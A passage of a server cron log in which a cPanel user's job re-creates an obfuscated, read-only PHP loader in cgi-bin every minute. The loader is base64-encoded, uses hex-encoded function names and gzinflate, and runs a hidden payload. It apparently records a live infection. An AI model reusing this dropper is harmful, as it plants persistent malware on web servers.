yoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:05:01 server CROND[19119]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 10:05:01 server CROND[19120]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:06:01 server CROND[19238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:07:01 server CROND[19283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:08:01 server CROND[19339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:09:01 server CROND[19482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:09:01 server CROND[19483]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 10:10:01 server CROND[19541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:10:01 server CROND[19542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:10:01 server CROND[19544]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 10:10:01 server CROND[19543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:11:01 server CROND[19643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:12:01 server CROND[19695]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 10:12:01 server CROND[19696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:13:01 server CROND[19739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:14:01 server CROND[19824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:15:01 server CROND[19984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:15:01 server CROND[19985]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 10:15:01 server CROND[19986]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 10:15:01 server CROND[19987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 10:16:01 server CROND[20090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:17:01 server CROND[20133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:18:01 server CROND[20184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 10:19:01 server CROND[20251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 